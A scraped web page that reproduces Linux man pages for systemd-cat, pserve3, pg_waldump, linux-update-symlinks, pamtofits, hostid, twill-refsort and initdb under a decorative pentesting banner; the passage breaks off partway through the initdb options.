░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1292 - Linux cli command systemd-cat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-cat and provides detailed information about the command systemd-cat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-cat.

NAME 🖥️ systemd-cat 🖥️

cat - Connect a pipeline or programs output with the journal

SYNOPSIS

systemd-cat [OPTIONS…] [COMMAND] [ARGUMENTS…]

systemd-cat [OPTIONS…]

DESCRIPTION

systemd-cat may be used to connect the standard input and output of a process to the journal, or as a filter tool in a shell pipeline to pass the output the previous pipeline element generates to the journal.

If no parameter is passed, systemd-cat will write everything it reads from standard input (stdin) to the journal.

If parameters are passed, they are executed as command line with standard output (stdout) and standard error output (stderr) connected to the journal, so that all it writes is stored in the journal.

OPTIONS

The following options are understood:

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

-t, –identifier=

Specify a short string that is used to identify the logging tool. If not specified, no identification string is written to the journal.

-p, –priority=

Specify the default priority level for the logged messages. Pass one of “emerg”, “alert”, “crit”, “err”, “warning”, “notice”, “info”, “debug”, or a value between 0 and 7 (corresponding to the same named levels). These priority values are the same as defined by syslog(3). Defaults to “info”. Note that this simply controls the default, individual lines may be logged with different levels if they are prefixed accordingly. For details, see –level-prefix= below.

–stderr-priority=

Specifies the default priority level for messages from the processs standard error output (stderr). Usage of this option is the same as the –priority= option, above, and both can be used at once. When both are used, –priority= will specify the default priority for standard output (stdout).

If –stderr-priority= is not specified, messages from stderr will still be logged, with the same default priority level as stdout.

Also, note that when stdout and stderr use the same default priority, the messages will be strictly ordered, because one channel is used for both. When the default priority differs, two channels are used, and so stdout messages will not be strictly ordered with respect to stderr messages - though they will tend to be approximately ordered.

Added in version 241.

–level-prefix=

Controls whether lines read are parsed for syslog priority level prefixes. If enabled (the default), a line prefixed with a priority prefix such as “<5>” is logged at priority 5 (“notice”), and similarly for the other priority levels. Takes a boolean argument.

–namespace=

Specifies the journal namespace to which the standard IO should be connected. For details about journal namespaces, see systemd-journald.service(8).

Added in version 256.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

EXAMPLES

Example 1. Invoke a program

This calls /bin/ls with standard output and error connected to the journal:

systemd-cat ls

Example 2. Usage in a shell pipeline

This builds a shell pipeline also invoking /bin/ls and writes the output it generates to the journal:

ls | systemd-cat

Even though the two examples have very similar effects, the first is preferable, since only one process is running at a time and both stdout and stderr are captured, while in the second example, only stdout is captured.

SEE ALSO

systemd(1), systemctl(1), logger(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1293 - Linux cli command pserve3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pserve3 and provides detailed information about the command pserve3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pserve3.

NAME 🖥️ pserve3 🖥️

Python 3 Pyramid command

DESCRIPTION

usage: pserve3 [-h] [-n NAME] [-s SERVER_TYPE] [–server-name SECTION_NAME]

[–reload] [–reload-interval RELOAD_INTERVAL] [-b] [-v] [-q] [config_uri] [config_vars …]

This command serves a web application that uses a PasteDeploy configuration file for the server and application.

You can also include variable assignments like ‘http_port=8080’ and then use %(http_port)s in your config files.

positional arguments:

config_uri
The URI to the configuration file.

config_vars
Variables required by the config file. For example, `http_port=%(http_port)s` would expect `http_port=8080` to be passed here.

options:

-h, –help
show this help message and exit

-n NAME, –app-name NAME
Load the named application (default main)

-s SERVER_TYPE, –server SERVER_TYPE
Use the named server.

–server-name SECTION_NAME
Use the named server as defined in the configuration file (default: main)

–reload
Use auto-restart file monitor

–reload-interval RELOAD_INTERVAL
Seconds between checking files (low number can cause significant CPU usage)

-b, –browser
Open a web browser to the server url. The server url is determined from the ‘open_url’ setting in the ‘pserve’ section of the configuration file.

-v, –verbose
Set verbose level (default 1)

-q, –quiet
Suppress verbose output

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1294 - Linux cli command pg_waldump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_waldump and provides detailed information about the command pg_waldump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_waldump.

NAME 🖥️ pg_waldump 🖥️

display a human-readable rendering of the write-ahead log of a PostgreSQL database cluster

SYNOPSIS

pg_waldump [option…] [startseg [endseg]]

DESCRIPTION

pg_waldump displays the write-ahead log (WAL) and is mainly useful for debugging or educational purposes.

This utility can only be run by the user who installed the server, because it requires read-only access to the data directory.

OPTIONS

The following command-line options control the location and format of the output:

startseg

Start reading at the specified WAL segment file. This implicitly determines the path in which files will be searched for, and the timeline to use.

endseg

Stop after reading the specified WAL segment file.

-b
–bkp-details

Output detailed information about backup blocks.

-B block
**–block=**block

Only display records that modify the given block. The relation must also be provided with –relation or -R.

-e end
**–end=**end

Stop reading at the specified WAL location, instead of reading to the end of the log stream.

-f
–follow

After reaching the end of valid WAL, keep polling once per second for new WAL to appear.

-F fork
**–fork=**fork

If provided, only display records that modify blocks in the given fork. The valid values are main for the main fork, fsm for the free space map, vm for the visibility map, and init for the init fork.

-n limit
**–limit=**limit

Display the specified number of records, then stop.

-p path
**–path=**path

Specifies a directory to search for WAL segment files or a directory with a pg_wal subdirectory that contains such files. The default is to search in the current directory, the pg_wal subdirectory of the current directory, and the pg_wal subdirectory of PGDATA.

-q
–quiet

Do not print any output, except for errors. This option can be useful when you want to know whether a range of WAL records can be successfully parsed but dont care about the record contents.

-r rmgr
**–rmgr=**rmgr

Only display records generated by the specified resource manager. You can specify the option multiple times to select multiple resource managers. If list is passed as name, print a list of valid resource manager names, and exit.

Extensions may define custom resource managers, but pg_waldump does not load the extension module and therefore does not recognize custom resource managers by name. Instead, you can specify the custom resource managers as custom### where “###” is the three-digit resource manager ID. Names of this form will always be considered valid.

-R tblspc**/db/**rel
**–relation=tblspc/db/**rel

Only display records that modify blocks in the given relation. The relation is specified with tablespace OID, database OID, and relfilenode separated by slashes, for example 1234/12345/12345. This is the same format used for relations in the programs output.

-s start
**–start=**start

WAL location at which to start reading. The default is to start reading the first valid WAL record found in the earliest file found.

-t timeline
**–timeline=**timeline

Timeline from which to read WAL records. The default is to use the value in startseg, if that is specified; otherwise, the default is 1. The value can be specified in decimal or hexadecimal, for example 17 or 0x11.

-V
–version

Print the pg_waldump version and exit.

-w
–fullpage

Only display records that include full page images.

-x xid
**–xid=**xid

Only display records marked with the given transaction ID.

-z
–stats[=record]

Display summary statistics (number and size of records and full-page images) instead of individual records. Optionally generate statistics per-record instead of per-rmgr.

If pg_waldump is terminated by signal SIGINT (Control+C), the summary of the statistics computed is displayed up to the termination point. This operation is not supported on Windows.

**–save-fullpage=**save_path

Save full page images found in the WAL records to the save_path directory. The images saved are subject to the same filtering and limiting criteria as the records displayed.

The full page images are saved with the following file name format: TIMELINE-LSN.RELTABLESPACE.DATOID.RELNODE.BLKNOFORK The file names are composed of the following parts:

ComponentDescription
TIMELINEThe timeline of the WAL segment file where the record is located formatted as one 8-character hexadecimal number %08X
LSNThe LSN of the record with this image, formatted as two 8-character hexadecimal numbers %08X-%08X
RELTABLESPACEtablespace OID of the block
DATOIDdatabase OID of the block
RELNODEfilenode of the block
BLKNOblock number of the block
FORKThe name of the fork the full page image came from, such as _main, _fsm, _vm, or _init.

-?
–help

Show help about pg_waldump command line arguments, and exit.

ENVIRONMENT

PGDATA

Data directory; see also the -p option.

PG_COLOR

Specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

Can give wrong results when the server is running.

Only the specified timeline is displayed (or the default, if none is specified). Records in other timelines are ignored.

pg_waldump cannot read WAL files with suffix .partial. If those files need to be read, .partial suffix needs to be removed from the file name.

SEE ALSO

Section 30.6

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1295 - Linux cli command linux-update-symlinks

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command linux-update-symlinks and provides detailed information about the command linux-update-symlinks, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the linux-update-symlinks.

NAME 🖥️ linux-update-symlinks 🖥️

update-symlinks - maintain symlinks to default kernel and initramfs

SYNOPSIS

linux-update-symlinks {install|upgrade|remove} VERSION IMAGE-PATH

DESCRIPTION

linux-update-symlinks is intended to be called from the postinst and postrm maintainer scripts of Linux kernel packages. The postinst script must pass the first argument install or upgrade depending on whether a fresh installation or an upgrade has taken place.

The VERSION argument must be the kernel version string as shown by uname -r and used in filenames.

The IMAGE-PATH argument must be the absolute filename of the kernel image.

By default, this command maintains symlinks in the root directory. This behaviour can be modified by settings in /etc/kernel-img.conf:

image_dest Specifies the directory in which to maintain symlinks

link_in_boot
If set to a true value, specifies that the directory is /boot

do_symlinks
If set to a false value, disables maintenance of symlinks

The symlinks for the primary default kernel version are named vmlinuz or vmlinux (depending on whether the architecture normally uses compressed kernel images) and initrd.img (if it uses an initramfs). The symlinks for the secondary default have the same names with the suffix .old.

If symlink maintenance is disabled, linux-update-symlinks does nothing, successfully. Otherwise it makes a list of kernel versions in decreasing order of priority:

  • The given VERSION, if the first argument is install

  • The current primary default version, if it exists and is not already listed

  • The current secondary default version, if it exists and is not already listed

  • All other versions whose files are installed, excluding the specified VERSION if the first argument is remove, in decreasing version order

The top two entries on the list are the new primary and secondary default versions, and it updates the symlinks accordingly. In case there is only one entry, this is both the primary and secondary default version. If there are no entries, there are no default versions and it removes the default symlinks.

ENVIRONMENT VARIABLES

INITRD
When the first argument is install or upgrade, linux-update-symlinks assumes that the given VERSION will use an initramfs unless this variable is set to No.

FILES

/boot/initrd.img-*
Installed initramfs images

/boot/vmlinuz-* | /boot/vmlinux-*
Installed kernel images

/etc/kernel-img.conf
Configuration file specifying whether and where to create symlinks

/initrd.img
Symlink to the initramfs image for the primary default version

/initrd.img.old
Symlink to the initramfs image for the secondary default version

/vmlinuz | /vmlinux
Symlink to the kernel image for the primary default version

/vmlinuz.old | /vmlinux.old
Symlink to the kernel image for the secondary default version

AUTHOR

linux-update-symlinks and this manual page were written by Ben Hutchings as part of the Debian linux-base package.

SEE ALSO

kernel-img.conf(5), linux-version(1).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1296 - Linux cli command pamtofits

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtofits and provides detailed information about the command pamtofits, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtofits.

.

NAME 🖥️ pamtofits 🖥️

convert a Netpbm image into FITS format

SYNOPSIS

pamtofits [-max f] [-min f] [pamfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamtofits reads a PNM or PAM image as input and produces a FITS (Flexible Image Transport System) file as output. The resolution of the output file is either 8 bits/pixel, or 16 bits/pixel, depending on the value of maxval in the input file. If the input file is a PBM or PGM image, the output file consists of a single plane image (NAXIS = 2). If instead the input file is a PPM image, the output file will consist of a three-plane image (NAXIS = 3, NAXIS3 = 3).

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtofits recognizes the following command line options:

-min and -max tell pamtofits what “physical values” zero and maxval sample values, respectively, in the input image represent. Physical values are a FITS concept. pamtofits sets up the BSCALE and BZERO FITS header cards to indicate this information.

The default for -min is 0 and for -max is the maxval, which means if you don’t specify these options, the FITS physical values are in fact the original Netpbm sample values.

pamtofits always sets up the FITS header DATAMIN and DATAMAX cards to indicate that the highest physical value in the image is the one corresponding to the Netpbm maxval and the lowest is that corresponding to Netpbm zero. This isn’t really how those cards are supposed to be used, since the input image doesn’t necessarily contain the full possible range of sample values. It is a conservative approximation.

NOTES

Pixel Order

The FITS specification does not specify which data in the file corresponds to which pixel in the image (i.e. which bytes are the top left pixel, etc.). Netpbm uses the common sense, most popular arrangement: row major, top to bottom, left to right. That means in a 10 wide by 20 high image, the first 10 pixels in the file are the top row and the last 10 are the bottom row. Within each row, the first pixel is the leftmost one and the last pixel is the rightmost one.

Netpbm has always done that, since it first understood the FITS format in 1989, so it is something of a de facto standard. Nobody reported trouble with that until 2008.

However, at least some versions of ImageMagick and Gimp (as seen in 2008) use bottom to top order, so if you use on of these to display a FITS image generated by pamtofits, it will appear upside down. To fix that, use pamflip -topbottom on the image before feeding it to pamtofits.

Since 2008, people have noted that NASA distributes FITS files with bottom to top order.

HISTORY

pamtofits was originally pnmtofits and did not handle PAM input. It was extended and renamed in Netpbm 10.30 (October 2005).

pnmtofits was itself an extension of pgmtofits, which was added to Pbmplus in 1989.

SEE ALSO

fitstopnm(1) , pam(1)

AUTHOR

Copyright (C) 1989 by Wilson H. Bent ([email protected]), with modifications by Alberto Accomazzi ([email protected]).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtofits.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1297 - Linux cli command hostid

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hostid and provides detailed information about the command hostid, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hostid.

NAME 🖥️ hostid 🖥️

print the numeric identifier for the current host

SYNOPSIS

hostid [OPTION]

DESCRIPTION

Print the numeric identifier (in hexadecimal) for the current host.

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

gethostid(3)

Full documentation <https://www.gnu.org/software/coreutils/hostid>
or available locally via: info ‘(coreutils) hostid invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1298 - Linux cli command twill-refsort

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command twill-refsort and provides detailed information about the command twill-refsort, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the twill-refsort.

NAME 🖥️ twill-refsort 🖥️

refsort - translate Web to TeX with mini-indexes

SYNOPSIS

twill [-x] webfile[.web] [{changefile[.ch]|-} [outfile[.tex]]]

twill-refsort < reffile**.ref** > sreffile**.sref**

DESCRIPTION

The twill program is used to create a TeX file for viewing a Web program. It takes appropriate care of typographic details like page layout and the use of indentation, italics, boldface, etc., and it supplies extensive cross-index information in the form of ‘mini-indexes’ for each spread of pages and a ‘master index’ at the end that it gathers automatically.

The command line arguments are the same as for weave including the option: -x says to omit the indexes, module name list, and table of contents pages. (A CONTENTS.tex file will still be written when the TeX file is processed, however, unless some macros in twimac-web.tex are redefined.)

The output TeX file name is formed by adding .tex to the root of the Web file name.

There are several macros that probably should be redefined by the programmer at the beginning of the Web file. It is a good idea to set itle to the name of the program.

twill is exactly like weave except that it produces better documentation, for which you must work harder. You should run twill twice, once to prime the pump and once to get decent answers. Moreover, you must run the output twice through TeX.

After tex foo you will have output that looks like final pages except that the entries of mini-indexes won’t be alphabetized. The first run produces a weird file called foo.ref. Say twill-refsort < foo.ref > foo.sref and then another tex foo will produce alphabetized output.

ENVIRONMENT

The environment variable WEBINPUTS is used to search for the input files, or the system default if WEBINPUTS is not set. See tex(1) for the details of the searching.

FILES

$TEXMFMAIN/tex/plain/cweb/cwebbin/twimac-web.tex
TeX macros used by twill output.

SEE ALSO

tangle(1) for references, authors, and other information.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1299 - Linux cli command initdb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command initdb and provides detailed information about the command initdb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the initdb.

NAME 🖥️ initdb 🖥️

create a new PostgreSQL database cluster

SYNOPSIS

initdb [option…] [–pgdata | -D] directory

DESCRIPTION

initdb creates a new PostgreSQL database cluster.

Creating a database cluster consists of creating the directories in which the cluster data will live, generating the shared catalog tables (tables that belong to the whole cluster rather than to any particular database), and creating the postgres, template1, and template0 databases. The postgres database is a default database meant for use by users, utilities and third party applications. template1 and template0 are meant as source databases to be copied by later CREATE DATABASE commands. template0 should never be modified, but you can add objects to template1, which by default will be copied into databases created later. See Section 23.3 for more details.

Although initdb will attempt to create the specified data directory, it might not have permission if the parent directory of the desired data directory is root-owned. To initialize in such a setup, create an empty data directory as root, then use chown to assign ownership of that directory to the database user account, then su to become the database user to run initdb.

initdb must be run as the user that will own the server process, because the server needs to have access to the files and directories that initdb creates. Since the server cannot be run as root, you must not run initdb as root either. (It will in fact refuse to do so.)

For security reasons the new cluster created by initdb will only be accessible by the cluster owner by default. The –allow-group-access option allows any user in the same group as the cluster owner to read files in the cluster. This is useful for performing backups as a non-privileged user.

initdb initializes the database clusters default locale and character set encoding. These can also be set separately for each database when it is created. initdb determines those settings for the template databases, which will serve as the default for all other databases.

By default, initdb uses the locale provider libc (see Section 24.1.4). The libc locale provider takes the locale settings from the environment, and determines the encoding from the locale settings.

To choose a different locale for the cluster, use the option –locale. There are also individual options –lc-* and –icu-locale (see below) to set values for the individual locale categories. Note that inconsistent settings for different locale categories can give nonsensical results, so this should be used with care.

Alternatively, initdb can use the ICU library to provide locale services by specifying –locale-provider=icu. The server must be built with ICU support. To choose the specific ICU locale ID to apply, use the option –icu-locale. Note that for implementation reasons and to support legacy code, initdb will still select and initialize libc locale settings when the ICU locale provider is used.

When initdb runs, it will print out the locale settings it has chosen. If you have complex requirements or specified multiple options, it is advisable to check that the result matches what was intended.

More details about locale settings can be found in Section 24.1.

To alter the default encoding, use the –encoding. More details can be found in Section 24.3.

OPTIONS

-A authmethod
**–auth=**authmethod

This option specifies the default authentication method for local users used in pg_hba.conf (host and local lines). See Section 21.1 for an overview of valid values.

initdb will prepopulate pg_hba.conf entries using the specified authentication method for non-replication as well as replication connections.

Do not use trust unless you trust all local users on your system. trust is the default for ease of installation.

**–auth-host=**authmethod

This option specifies the authentication method for local users via TCP/IP connections used in pg_hba.conf (host lines).

**–auth-local=**authmethod

This option specifies the authentication method for local users via Unix-domain socket connections used in pg_hba.conf (local lines).

-D directory
**–pgdata=**directory

This option specifies the directory where the database cluster should be stored. This is the only information required by initdb, but you can avoid writing it by setting the PGDATA environment variable, which can be convenient since the database server (postgres) can find the data directory later by the same variable.

-E encoding
**–encoding=**encoding

Selects the encoding of the template databases. This will also be the default encoding of any database you create later, unless you override it then. The character sets supported by the PostgreSQL server are described in Section 24.3.1.

By default, the template database encoding is derived from the locale. If –no-locale is specified (or equivalently, if the locale is C or POSIX), then the default is UTF8 for the ICU provider and SQL_ASCII for the libc provider.

-g
–allow-group-access

Allows users in the same group as the cluster owner to read all cluster files created by initdb. This option is ignored on Windows as it does not support POSIX-style group permissions.

**–icu-locale=**locale

Specifies the ICU locale when the ICU provider is used. Locale support is described in Section 24.1.

**–icu-rules=**rules

Specifies additional collation rules to customize the behavior of the default collation. This is supported for ICU only.

-k
–data-checksums

Use checksums on data pages to help detect corruption by the I/O system that would otherwise be silent. Enabling checksums may incur a noticeable performance penalty. If set, checksums are calculated for all objects, in all databases. All checksum failures will be reported in the pg_stat_database view. See Section 30.2 for details.

**–locale=**locale

Sets the default locale for the database cluster. If this option is not specified, the locale is inherited from the environment that initdb runs in. Locale support is described in Section 24.1.

**–lc-collate=**locale
**–lc-ctype=**locale
**–lc-messages=**locale
**–lc-monetary=**locale
**–lc-numeric=**locale
**–lc-time=**locale

Like –locale, but only sets the locale in the specified category.

–no-locale

Equivalent to –locale=C.

–locale-provider={libc|icu}

This option sets the locale provider for databases created in the new cluster. It can be overridden in the CREATE DATABASE command when new databases are subsequently created. The default is libc (see Section 24.1.4).

-N
–no-sync

By default, initdb will wait for all files to be written safely to disk. This option causes initdb to return without waiting, which is faster, but means that a subsequent operating system crash can leave the data directory corrupt. Generally, this option is useful for testing, but should not be used when creating a production installation.

–no-instructions

By default, initdb will write instructions for how to start the cluster at the end of its output. This option causes those instructions to be left out. This is primarily intended for use by tools that wrap initdb in platform-specific behavior, where those instructions are likely to be incorrect.

**–pwfile=**filename

Makes initdb read the bootstrap superusers password from a file. The first line of the file is taken as the password.

-S
–sync-only

Safely write all database files to disk and exit. This does not perform any of the normal initdb operations. Generally, this option is useful for ensuring reliable recovery after changing fsync from off to on.

-T config
**–text-search-config=**config

Sets the default text search configuration. See default_text_search_config for further information.

-U username
**–username=**username

Sets the user name of the bootstrap superuser. This defaults to the name of the operating-system user running initdb.

-W
–pwprompt

Makes initdb prompt for a password to give the bootstrap superuser. If you dont plan on using password authentication, this is not important. Otherwise you wont be able to use password authentication until you have a password set up.

-X directory
**–waldir=**directory

This option specifies the directory where the write-ahead log should be stored.

**–wal-segsize=**size

Set the WAL segment size, in megabytes. This is the size of each individual file in the WAL log. The default size is 16 megabytes. The value must be a power of 2 between 1 and 1024 (megabytes). This option can only be set during initialization, and cannot be changed later.

It may be useful to adjust this size to control the granularity of WAL log shipping or archiving. Also, in databases with a high volume of WAL, the sheer number of WAL files per directory can become a performance and management problem. Increasing the WAL file size will reduce the number of WAL files.

Other, less commonly used, options are also available:

-c name**=value
–set name
=**value

Forcibly set the server parameter name to value during initdb, and also install that setting in the generated postgresql.conf file, so that it will apply during future server runs. This option can be given more than once to set several parameters. It is primarily useful when the environment is such that the server will not start at all using the default parameters.

-d
–debug

